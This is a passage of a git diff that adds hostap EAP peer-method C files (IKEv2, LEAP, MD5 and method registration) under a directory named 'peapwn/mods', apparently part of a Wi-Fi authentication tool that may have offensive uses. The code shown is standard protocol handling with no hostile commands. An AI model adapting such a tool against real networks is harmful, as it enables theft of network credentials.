Message Length field in " + "a fragmented packet"); + ret->ignore = TRUE; + return NULL; + } + + if (data->in_buf == NULL) { + /* First fragment of the message */ + data->in_buf = wpabuf_alloc(message_length); + if (data->in_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: No memory for " + "message"); + ret->ignore = TRUE; + return NULL; + } + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Received %lu bytes in first " + "fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + } + + return eap_ikev2_build_frag_ack(id, EAP_CODE_RESPONSE); +} + + +static struct wpabuf * eap_ikev2_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_ikev2_data *data = priv; + const u8 *start, *pos, *end; + size_t len; + u8 flags, id; + u32 message_length = 0; + struct wpabuf tmpbuf; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_IKEV2, reqData, &len); + if (pos == NULL) { + ret->ignore = TRUE; + return NULL; + } + + id = eap_get_id(reqData); + + start = pos; + end = start + len; + + if (len == 0) + flags = 0; /* fragment ack */ + else + flags = *pos++; + + if (eap_ikev2_process_icv(data, reqData, flags, pos, &end) < 0) { + ret->ignore = TRUE; + return NULL; + } + + if (flags & IKEV2_FLAGS_LENGTH_INCLUDED) { + if (end - pos < 4) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Message underflow"); + ret->ignore = TRUE; + return NULL; + } + message_length = WPA_GET_BE32(pos); + pos += 4; + + if (message_length < (u32) (end - pos)) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Invalid Message " + "Length (%d; %ld remaining in this msg)", + message_length, (long) (end - pos)); + ret->ignore = TRUE; + return NULL; + } + } + + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Received packet: Flags 0x%x " + "Message Length %u", flags, message_length); + + if (data->state == WAIT_FRAG_ACK) { +#ifdef CCNS_PL + if (len > 1) /* Empty Flags field included in ACK */ +#else /* CCNS_PL */ + if (len != 0) +#endif /* CCNS_PL */ + { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Unexpected payload " + "in WAIT_FRAG_ACK state"); + ret->ignore = TRUE; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Fragment acknowledged"); + eap_ikev2_state(data, PROC_MSG); + return eap_ikev2_build_msg(data, ret, id); + } + + if (data->in_buf && eap_ikev2_process_cont(data, pos, end - pos) < 0) { + ret->ignore = TRUE; + return NULL; + } + + if (flags & IKEV2_FLAGS_MORE_FRAGMENTS) { + return eap_ikev2_process_fragment(data, ret, id, flags, + message_length, pos, + end - pos); + } + + if (data->in_buf == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&tmpbuf, pos, end - pos); + data->in_buf = &tmpbuf; + } + + if (ikev2_responder_process(&data->ikev2, data->in_buf) < 0) { + if (data->in_buf == &tmpbuf) + data->in_buf = NULL; + eap_ikev2_state(data, FAIL); + return NULL; + } + + if (data->in_buf != &tmpbuf) + wpabuf_free(data->in_buf); + data->in_buf = NULL; + + if (data->out_buf == NULL) { + data->out_buf = ikev2_responder_build(&data->ikev2); + if (data->out_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-IKEV2: Failed to generate " + "IKEv2 message"); + return NULL; + } + data->out_used = 0; + } + + eap_ikev2_state(data, PROC_MSG); + return eap_ikev2_build_msg(data, ret, id); +} + + +static Boolean eap_ikev2_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_ikev2_data *data = priv; + return data->state == DONE && data->keymat_ok; +} + + +static u8 * eap_ikev2_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ikev2_data *data = priv; + u8 *key; + + if (data->state != DONE || !data->keymat_ok) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key) { + os_memcpy(key, data->keymat, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + } + + return key; +} + + +static u8 * eap_ikev2_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ikev2_data *data = priv; + u8 *key; + + if (data->state != DONE || !data->keymat_ok) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key) { + os_memcpy(key, data->keymat + EAP_MSK_LEN, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + } + + return key; +} + + +static u8 * eap_ikev2_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ikev2_data *data = priv; + u8 *sid; + size_t sid_len; + size_t offset; + + if (data->state != DONE || !data->keymat_ok) + return NULL; + + sid_len = 1 + data->ikev2.i_nonce_len + data->ikev2.r_nonce_len; + sid = os_malloc(sid_len); + if (sid) { + offset = 0; + sid[offset] = EAP_TYPE_IKEV2; + offset++; + os_memcpy(sid + offset, data->ikev2.i_nonce, + data->ikev2.i_nonce_len); + offset += data->ikev2.i_nonce_len; + os_memcpy(sid + offset, data->ikev2.r_nonce, + data->ikev2.r_nonce_len); + *len = sid_len; + wpa_hexdump(MSG_DEBUG, "EAP-IKEV2: Derived Session-Id", + sid, sid_len); + } + + return sid; +} + + +int eap_peer_ikev2_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_IKEV2, + "IKEV2"); + if (eap == NULL) + return -1; + + eap->init = eap_ikev2_init; + eap->deinit = eap_ikev2_deinit; + eap->process = eap_ikev2_process; + eap->isKeyAvailable = eap_ikev2_isKeyAvailable; + eap->getKey = eap_ikev2_getKey; + eap->get_emsk = eap_ikev2_get_emsk; + eap->getSessionId = eap_ikev2_get_session_id; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_leap.c b/peapwn/mods/hostap/src/eap_peer/eap_leap.c new file mode 100644 index 000000000..df3401384 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_leap.c @@ -0,0 +1,410 @@ +/* + * EAP peer method: LEAP + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/ms_funcs.h" +#include "crypto/crypto.h" +#include "crypto/random.h" +#include "eap_i.h" + +#define LEAP_VERSION 1 +#define LEAP_CHALLENGE_LEN 8 +#define LEAP_RESPONSE_LEN 24 +#define LEAP_KEY_LEN 16 + + +struct eap_leap_data { + enum { + LEAP_WAIT_CHALLENGE, + LEAP_WAIT_SUCCESS, + LEAP_WAIT_RESPONSE, + LEAP_DONE + } state; + + u8 peer_challenge[LEAP_CHALLENGE_LEN]; + u8 peer_response[LEAP_RESPONSE_LEN]; + + u8 ap_challenge[LEAP_CHALLENGE_LEN]; + u8 ap_response[LEAP_RESPONSE_LEN]; +}; + + +static void * eap_leap_init(struct eap_sm *sm) +{ + struct eap_leap_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = LEAP_WAIT_CHALLENGE; + + sm->leap_done = FALSE; + return data; +} + + +static void eap_leap_deinit(struct eap_sm *sm, void *priv) +{ + os_free(priv); +} + + +static struct wpabuf * eap_leap_process_request(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_leap_data *data = priv; + struct wpabuf *resp; + const u8 *pos, *challenge, *identity, *password; + u8 challenge_len, *rpos; + size_t identity_len, password_len, len; + int pwhash; + + wpa_printf(MSG_DEBUG, "EAP-LEAP: Processing EAP-Request"); + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password2(sm, &password_len, &pwhash); + if (identity == NULL || password == NULL) + return NULL; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_LEAP, reqData, &len); + if (pos == NULL || len < 3) { + wpa_printf(MSG_INFO, "EAP-LEAP: Invalid EAP-Request frame"); + ret->ignore = TRUE; + return NULL; + } + + if (*pos != LEAP_VERSION) { + wpa_printf(MSG_WARNING, "EAP-LEAP: Unsupported LEAP version " + "%d", *pos); + ret->ignore = TRUE; + return NULL; + } + pos++; + + pos++; /* skip unused byte */ + + challenge_len = *pos++; + if (challenge_len != LEAP_CHALLENGE_LEN || challenge_len > len - 3) { + wpa_printf(MSG_INFO, "EAP-LEAP: Invalid challenge " + "(challenge_len=%d reqDataLen=%lu)", + challenge_len, (unsigned long) wpabuf_len(reqData)); + ret->ignore = TRUE; + return NULL; + } + challenge = pos; + os_memcpy(data->peer_challenge, challenge, LEAP_CHALLENGE_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-LEAP: Challenge from AP", + challenge, LEAP_CHALLENGE_LEN); + + wpa_printf(MSG_DEBUG, "EAP-LEAP: Generating Challenge Response"); + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_LEAP, + 3 + LEAP_RESPONSE_LEN + identity_len, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + wpabuf_put_u8(resp, LEAP_VERSION); + wpabuf_put_u8(resp, 0); /* unused */ + wpabuf_put_u8(resp, LEAP_RESPONSE_LEN); + rpos = wpabuf_put(resp, LEAP_RESPONSE_LEN); + if (pwhash) + challenge_response(challenge, password, rpos); + else + nt_challenge_response(challenge, password, password_len, rpos); + os_memcpy(data->peer_response, rpos, LEAP_RESPONSE_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-LEAP: Response", + rpos, LEAP_RESPONSE_LEN); + wpabuf_put_data(resp, identity, identity_len); + + data->state = LEAP_WAIT_SUCCESS; + + return resp; +} + + +static struct wpabuf * eap_leap_process_success(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_leap_data *data = priv; + struct wpabuf *resp; + u8 *pos; + const u8 *identity; + size_t identity_len; + + wpa_printf(MSG_DEBUG, "EAP-LEAP: Processing EAP-Success"); + + identity = eap_get_config_identity(sm, &identity_len); + if (identity == NULL) + return NULL; + + if (data->state != LEAP_WAIT_SUCCESS) { + wpa_printf(MSG_INFO, "EAP-LEAP: EAP-Success received in " + "unexpected state (%d) - ignored", data->state); + ret->ignore = TRUE; + return NULL; + } + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_LEAP, + 3 + LEAP_CHALLENGE_LEN + identity_len, + EAP_CODE_REQUEST, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + wpabuf_put_u8(resp, LEAP_VERSION); + wpabuf_put_u8(resp, 0); /* unused */ + wpabuf_put_u8(resp, LEAP_CHALLENGE_LEN); + pos = wpabuf_put(resp, LEAP_CHALLENGE_LEN); + if (random_get_bytes(pos, LEAP_CHALLENGE_LEN)) { + wpa_printf(MSG_WARNING, "EAP-LEAP: Failed to read random data " + "for challenge"); + wpabuf_free(resp); + ret->ignore = TRUE; + return NULL; + } + os_memcpy(data->ap_challenge, pos, LEAP_CHALLENGE_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-LEAP: Challenge to AP/AS", pos, + LEAP_CHALLENGE_LEN); + wpabuf_put_data(resp, identity, identity_len); + + data->state = LEAP_WAIT_RESPONSE; + + return resp; +} + + +static struct wpabuf * eap_leap_process_response(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_leap_data *data = priv; + const u8 *pos, *password; + u8 response_len, pw_hash[16], pw_hash_hash[16], + expected[LEAP_RESPONSE_LEN]; + size_t password_len, len; + int pwhash; + + wpa_printf(MSG_DEBUG, "EAP-LEAP: Processing EAP-Response"); + + password = eap_get_config_password2(sm, &password_len, &pwhash); + if (password == NULL) + return NULL; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_LEAP, reqData, &len); + if (pos == NULL || len < 3) { + wpa_printf(MSG_INFO, "EAP-LEAP: Invalid EAP-Response frame"); + ret->ignore = TRUE; + return NULL; + } + + if (*pos != LEAP_VERSION) { + wpa_printf(MSG_WARNING, "EAP-LEAP: Unsupported LEAP version " + "%d", *pos); + ret->ignore = TRUE; + return NULL; + } + pos++; + + pos++; /* skip unused byte */ + + response_len = *pos++; + if (response_len != LEAP_RESPONSE_LEN || response_len > len - 3) { + wpa_printf(MSG_INFO, "EAP-LEAP: Invalid response " + "(response_len=%d reqDataLen=%lu)", + response_len, (unsigned long) wpabuf_len(reqData)); + ret->ignore = TRUE; + return NULL; + } + + wpa_hexdump(MSG_DEBUG, "EAP-LEAP: Response from AP", + pos, LEAP_RESPONSE_LEN); + os_memcpy(data->ap_response, pos, LEAP_RESPONSE_LEN); + + if (pwhash) { + if (hash_nt_password_hash(password, pw_hash_hash)) { + ret->ignore = TRUE; + return NULL; + } + } else { + if (nt_password_hash(password, password_len, pw_hash) || + hash_nt_password_hash(pw_hash, pw_hash_hash)) { + ret->ignore = TRUE; + return NULL; + } + } + challenge_response(data->ap_challenge, pw_hash_hash, expected); + + ret->methodState = METHOD_DONE; + ret->allowNotifications = FALSE; + + if (os_memcmp(pos, expected, LEAP_RESPONSE_LEN) != 0) { + wpa_printf(MSG_WARNING, "EAP-LEAP: AP sent an invalid " + "response - authentication failed"); + wpa_hexdump(MSG_DEBUG, "EAP-LEAP: Expected response from AP", + expected, LEAP_RESPONSE_LEN); + ret->decision = DECISION_FAIL; + return NULL; + } + + ret->decision = DECISION_UNCOND_SUCC; + + /* LEAP is somewhat odd method since it sends EAP-Success in the middle + * of the authentication. Use special variable to transit EAP state + * machine to SUCCESS state. */ + sm->leap_done = TRUE; + data->state = LEAP_DONE; + + /* No more authentication messages expected; AP will send EAPOL-Key + * frames if encryption is enabled. */ + return NULL; +} + + +static struct wpabuf * eap_leap_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + const struct eap_hdr *eap; + size_t password_len; + const u8 *password; + + password = eap_get_config_password(sm, &password_len); + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-LEAP: Password not configured"); + eap_sm_request_password(sm); + ret->ignore = TRUE; + return NULL; + } + + /* + * LEAP needs to be able to handle EAP-Success frame which does not + * include Type field. Consequently, eap_hdr_validate() cannot be used + * here. This validation will be done separately for EAP-Request and + * EAP-Response frames. + */ + eap = wpabuf_head(reqData); + if (wpabuf_len(reqData) < sizeof(*eap) || + be_to_host16(eap->length) > wpabuf_len(reqData)) { + wpa_printf(MSG_INFO, "EAP-LEAP: Invalid frame"); + ret->ignore = TRUE; + return NULL; + } + + ret->ignore = FALSE; + ret->allowNotifications = TRUE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + + sm->leap_done = FALSE; + + switch (eap->code) { + case EAP_CODE_REQUEST: + return eap_leap_process_request(sm, priv, ret, reqData); + case EAP_CODE_SUCCESS: + return eap_leap_process_success(sm, priv, ret, reqData); + case EAP_CODE_RESPONSE: + return eap_leap_process_response(sm, priv, ret, reqData); + default: + wpa_printf(MSG_INFO, "EAP-LEAP: Unexpected EAP code (%d) - " + "ignored", eap->code); + ret->ignore = TRUE; + return NULL; + } +} + + +static Boolean eap_leap_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_leap_data *data = priv; + return data->state == LEAP_DONE; +} + + +static u8 * eap_leap_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_leap_data *data = priv; + u8 *key, pw_hash_hash[16], pw_hash[16]; + const u8 *addr[5], *password; + size_t elen[5], password_len; + int pwhash; + + if (data->state != LEAP_DONE) + return NULL; + + password = eap_get_config_password2(sm, &password_len, &pwhash); + if (password == NULL) + return NULL; + + key = os_malloc(LEAP_KEY_LEN); + if (key == NULL) + return NULL; + + if (pwhash) { + if (hash_nt_password_hash(password, pw_hash_hash)) { + os_free(key); + return NULL; + } + } else { + if (nt_password_hash(password, password_len, pw_hash) || + hash_nt_password_hash(pw_hash, pw_hash_hash)) { + os_free(key); + return NULL; + } + } + wpa_hexdump_key(MSG_DEBUG, "EAP-LEAP: pw_hash_hash", + pw_hash_hash, 16); + wpa_hexdump(MSG_DEBUG, "EAP-LEAP: peer_challenge", + data->peer_challenge, LEAP_CHALLENGE_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-LEAP: peer_response", + data->peer_response, LEAP_RESPONSE_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-LEAP: ap_challenge", + data->ap_challenge, LEAP_CHALLENGE_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-LEAP: ap_response", + data->ap_response, LEAP_RESPONSE_LEN); + + addr[0] = pw_hash_hash; + elen[0] = 16; + addr[1] = data->ap_challenge; + elen[1] = LEAP_CHALLENGE_LEN; + addr[2] = data->ap_response; + elen[2] = LEAP_RESPONSE_LEN; + addr[3] = data->peer_challenge; + elen[3] = LEAP_CHALLENGE_LEN; + addr[4] = data->peer_response; + elen[4] = LEAP_RESPONSE_LEN; + md5_vector(5, addr, elen, key); + wpa_hexdump_key(MSG_DEBUG, "EAP-LEAP: master key", key, LEAP_KEY_LEN); + *len = LEAP_KEY_LEN; + + return key; +} + + +int eap_peer_leap_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_LEAP, "LEAP"); + if (eap == NULL) + return -1; + + eap->init = eap_leap_init; + eap->deinit = eap_leap_deinit; + eap->process = eap_leap_process; + eap->isKeyAvailable = eap_leap_isKeyAvailable; + eap->getKey = eap_leap_getKey; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_md5.c b/peapwn/mods/hostap/src/eap_peer/eap_md5.c new file mode 100644 index 000000000..d06befaeb --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_md5.c @@ -0,0 +1,120 @@ +/* + * EAP peer method: EAP-MD5 (RFC 3748 and RFC 1994) + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "eap_common/chap.h" + + +static void * eap_md5_init(struct eap_sm *sm) +{ + /* No need for private data. However, must return non-NULL to indicate + * success. */ + return (void *) 1; +} + + +static void eap_md5_deinit(struct eap_sm *sm, void *priv) +{ +} + + +static struct wpabuf * eap_md5_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct wpabuf *resp; + const u8 *pos, *challenge, *password; + u8 *rpos, id; + size_t len, challenge_len, password_len; + + password = eap_get_config_password(sm, &password_len); + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-MD5: Password not configured"); + eap_sm_request_password(sm); + ret->ignore = TRUE; + return NULL; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MD5, reqData, &len); + if (pos == NULL || len == 0) { + wpa_printf(MSG_INFO, "EAP-MD5: Invalid frame (pos=%p len=%lu)", + pos, (unsigned long) len); + ret->ignore = TRUE; + return NULL; + } + + /* + * CHAP Challenge: + * Value-Size (1 octet) | Value(Challenge) | Name(optional) + */ + challenge_len = *pos++; + if (challenge_len == 0 || challenge_len > len - 1) { + wpa_printf(MSG_INFO, "EAP-MD5: Invalid challenge " + "(challenge_len=%lu len=%lu)", + (unsigned long) challenge_len, (unsigned long) len); + ret->ignore = TRUE; + return NULL; + } + ret->ignore = FALSE; + challenge = pos; + wpa_hexdump(MSG_MSGDUMP, "EAP-MD5: Challenge", + challenge, challenge_len); + + wpa_printf(MSG_DEBUG, "EAP-MD5: Generating Challenge Response"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_COND_SUCC; + ret->allowNotifications = TRUE; + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MD5, 1 + CHAP_MD5_LEN, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + + /* + * CHAP Response: + * Value-Size (1 octet) | Value(Response) | Name(optional) + */ + wpabuf_put_u8(resp, CHAP_MD5_LEN); + + id = eap_get_id(resp); + rpos = wpabuf_put(resp, CHAP_MD5_LEN); + if (chap_md5(id, password, password_len, challenge, challenge_len, + rpos)) { + wpa_printf(MSG_INFO, "EAP-MD5: CHAP MD5 operation failed"); + ret->ignore = TRUE; + wpabuf_free(resp); + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-MD5: Response", rpos, CHAP_MD5_LEN); + + return resp; +} + + +int eap_peer_md5_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_MD5, "MD5"); + if (eap == NULL) + return -1; + + eap->init = eap_md5_init; + eap->deinit = eap_md5_deinit; + eap->process = eap_md5_process; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_methods.c b/peapwn/mods/hostap/src/eap_peer/eap_methods.c new file mode 100644 index 000000000..83a145796 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_methods.c @@ -0,0 +1,369 @@ +/* + * EAP peer: Method registration + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#ifdef CONFIG_DYNAMIC_EAP_METHODS +#include +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + +#include "common.h" +#include "eap_i.h" +#include "eap_methods.h" + + +static struct eap_method *eap_methods = NULL; + + +/** + * eap_peer_get_eap_method - Get EAP method based on type number + * @vendor: EAP Vendor-Id (0 = IETF) + * @method: EAP type number + * Returns: Pointer to EAP method or %NULL if not found + */ +const struct eap_method * eap_peer_get_eap_method(int vendor, EapType method) +{ + struct eap_method *m; + for (m = eap_methods; m; m = m->next) { + if (m->vendor == vendor && m->method == method) + return m; + } + return NULL; +} + + +/** + * eap_peer_get_type - Get EAP type for the given EAP method name + * @name: EAP method name, e.g., TLS + * @vendor: Buffer for returning EAP Vendor-Id + * Returns: EAP method type or %EAP_TYPE_NONE if not found + * + * This function maps EAP type names into EAP type numbers based on the list of + * EAP methods included in the build. + */ +EapType eap_peer_get_type(const char *name, int *vendor) +{ + struct eap_method *m; + for (m = eap_methods; m; m = m->next) { + if (os_strcmp(m->name, name) == 0) { + *vendor = m->vendor; + return m->method; + } + } + *vendor = EAP_VENDOR_IETF; + return EAP_TYPE_NONE; +} + + +/** + * eap_get_name - Get EAP method name for the given EAP type + * @vendor: EAP Vendor-Id (0 = IETF) + * @type: EAP method type + * Returns: EAP method name, e.g., TLS, or %NULL if not found + * + * This function maps EAP type numbers into EAP type names based on the list of + * EAP methods included in the build. + */ +const char * eap_get_name(int vendor, EapType type) +{ + struct eap_method *m; + if (vendor == EAP_VENDOR_IETF && type == EAP_TYPE_EXPANDED) + return "expanded"; + for (m = eap_methods; m; m = m->next) { + if (m->vendor == vendor && m->method == type) + return m->name; + } + return NULL; +} + + +/** + * eap_get_names - Get space separated list of names for supported EAP methods + * @buf: Buffer for names + * @buflen: Buffer length + * Returns: Number of characters written into buf (not including nul + * termination) + */ +size_t eap_get_names(char *buf, size_t buflen) +{ + char *pos, *end; + struct eap_method *m; + int ret; + + if (buflen == 0) + return 0; + + pos = buf; + end = pos + buflen; + + for (m = eap_methods; m; m = m->next) { + ret = os_snprintf(pos, end - pos, "%s%s", + m == eap_methods ? "" : " ", m->name); + if (ret < 0 || ret >= end - pos) + break; + pos += ret; + } + buf[buflen - 1] = '\0'; + + return pos - buf; +} + + +/** + * eap_get_names_as_string_array - Get supported EAP methods as string array + * @num: Buffer for returning the number of items in array, not including %NULL + * terminator. This parameter can be %NULL if the length is not needed. + * Returns: A %NULL-terminated array of strings, or %NULL on error. + * + * This function returns the list of names for all supported EAP methods as an + * array of strings. The caller must free the returned array items and the + * array. + */ +char ** eap_get_names_as_string_array(size_t *num) +{ + struct eap_method *m; + size_t array_len = 0; + char **array; + int i = 0, j; + + for (m = eap_methods; m; m = m->next) + array_len++; + + array = os_zalloc(sizeof(char *) * (array_len + 1)); + if (array == NULL) + return NULL; + + for (m = eap_methods; m; m = m->next) { + array[i++] = os_strdup(m->name); + if (array[i - 1] == NULL) { + for (j = 0; j < i; j++) + os_free(array[j]); + os_free(array); + return NULL; + } + } + array[i] = NULL; + + if (num) + *num = array_len; + + return array; +} + + +/** + * eap_peer_get_methods - Get a list of enabled EAP peer methods + * @count: Set to number of available methods + * Returns: List of enabled EAP peer methods + */ +const struct eap_method * eap_peer_get_methods(size_t *count) +{ + int c = 0; + struct eap_method *m; + + for (m = eap_methods; m; m = m->next) + c++; + + *count = c; + return eap_methods; +} + + +#ifdef CONFIG_DYNAMIC_EAP_METHODS +/** + * eap_peer_method_load - Load a dynamic EAP method library (shared object) + * @so: File path for the shared object file to load + * Returns: 0 on success, -1 on failure + */ +int eap_peer_method_load(const char *so) +{ + void *handle; + int (*dyn_init)(void); + int ret; + + handle = dlopen(so, RTLD_LAZY); + if (handle == NULL) { + wpa_printf(MSG_ERROR, "EAP: Failed to open dynamic EAP method " + "'%s': %s", so, dlerror()); + return -1; + } + + dyn_init = dlsym(handle, "eap_peer_method_dynamic_init"); + if (dyn_init == NULL) { + dlclose(handle); + wpa_printf(MSG_ERROR, "EAP: Invalid EAP method '%s' - no " + "eap_peer_method_dynamic_init()", so); + return -1; + } + + ret = dyn_init(); + if (ret) { + dlclose(handle); + wpa_printf(MSG_ERROR, "EAP: Failed to add EAP method '%s' - " + "ret %d", so, ret); + return ret; + } + + /* Store the handle for this shared object. It will be freed with + * dlclose() when the EAP method is unregistered. */ + eap_methods->dl_handle = handle; + + wpa_printf(MSG_DEBUG, "EAP: Loaded dynamic EAP method: '%s'", so); + + return 0; +} + + +/** + * eap_peer_method_unload - Unload a dynamic EAP method library (shared object) + * @method: Pointer to the dynamically loaded EAP method + * Returns: 0 on success, -1 on failure + * + * This function can be used to unload EAP methods that have been previously + * loaded with eap_peer_method_load(). Before unloading the method, all + * references to the method must be removed to make sure that no dereferences + * of freed memory will occur after unloading. + */ +int eap_peer_method_unload(struct eap_method *method) +{ + struct eap_method *m, *prev; + void *handle; + + m = eap_methods; + prev = NULL; + while (m) { + if (m == method) + break; + prev = m; + m = m->next; + } + + if (m == NULL || m->dl_handle == NULL) + return -1; + + if (prev) + prev->next = m->next; + else + eap_methods = m->next; + + handle = m->dl_handle; + + if (m->free) + m->free(m); + else + eap_peer_method_free(m); + + dlclose(handle); + + return 0; +} +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + + +/** + * eap_peer_method_alloc - Allocate EAP peer method structure + * @version: Version of the EAP peer method interface (set to + * EAP_PEER_METHOD_INTERFACE_VERSION) + * @vendor: EAP Vendor-ID (EAP_VENDOR_*) (0 = IETF) + * @method: EAP type number (EAP_TYPE_*) + * @name: Name of the method (e.g., "TLS") + * Returns: Allocated EAP method structure or %NULL on failure + * + * The returned structure should be freed with eap_peer_method_free() when it + * is not needed anymore. + */ +struct eap_method * eap_peer_method_alloc(int version, int vendor, + EapType method, const char *name) +{ + struct eap_method *eap; + eap = os_zalloc(sizeof(*eap)); + if (eap == NULL) + return NULL; + eap->version = version; + eap->vendor = vendor; + eap->method = method; + eap->name = name; + return eap; +} + + +/** + * eap_peer_method_free - Free EAP peer method structure + * @method: Method structure allocated with eap_peer_method_alloc() + */ +void eap_peer_method_free(struct eap_method *method) +{ + os_free(method); +} + + +/** + * eap_peer_method_register - Register an EAP peer method + * @method: EAP method to register + * Returns: 0 on success, -1 on invalid method, or -2 if a matching EAP method + * has already been registered + * + * Each EAP peer method needs to call this function to register itself as a + * supported EAP method. + */ +int eap_peer_method_register(struct eap_method *method) +{ + struct eap_method *m, *last = NULL; + + if (method == NULL || method->name == NULL || + method->version != EAP_PEER_METHOD_INTERFACE_VERSION) + return -1; + + for (m = eap_methods; m; m = m->next) { + if ((m->vendor == method->vendor && + m->method == method->method) || + os_strcmp(m->name, method->name) == 0) + return -2; + last = m; + } + + if (last) + last->next = method; + else + eap_methods = method; + + return 0; +} + + +/** + * eap_peer_unregister_methods - Unregister EAP peer methods + * + * This function is called at program termination to unregister all EAP peer + * methods. + */ +void eap_peer_unregister_methods(void) +{ + struct eap_method *m; +#ifdef CONFIG_DYNAMIC_EAP_METHODS + void *handle; +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + + while (eap_methods) { + m = eap_methods; + eap_methods = eap_methods->next; + +#ifdef CONFIG_DYNAMIC_EAP_METHODS + handle = m->dl_handle; +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + + if (m->free) + m->free(m); + else + eap_peer_method_free(m); + +#ifdef CONFIG_DYNAMIC_EAP_METHODS + if (handle) + dlclose(handle); +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + } +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_methods.h b/peapwn/mods/hostap/src/eap_peer/eap_methods.h new file mode 100644 index 000000000..a465fd235 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_methods.h @@ -0,0 +1,110 @@ +/* + * EAP peer: Method registration + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_METHODS_H +#define EAP_METHODS_H + +#include "eap_common/eap_defs.h" + +const struct eap_method * eap_peer_get_eap_method(int vendor, EapType method); +const struct eap_method * eap_peer_get_methods(size_t *count); + +struct eap_method * eap_peer_method_alloc(int version, int vendor, + EapType method, const char *name); +void eap_peer_method_free(struct eap_method *method); +int eap_peer_method_register(struct eap_method *method); + + 